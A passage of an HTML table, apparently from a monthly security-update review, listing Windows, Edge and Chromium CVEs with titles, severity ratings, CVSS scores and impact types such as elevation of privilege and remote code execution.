  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









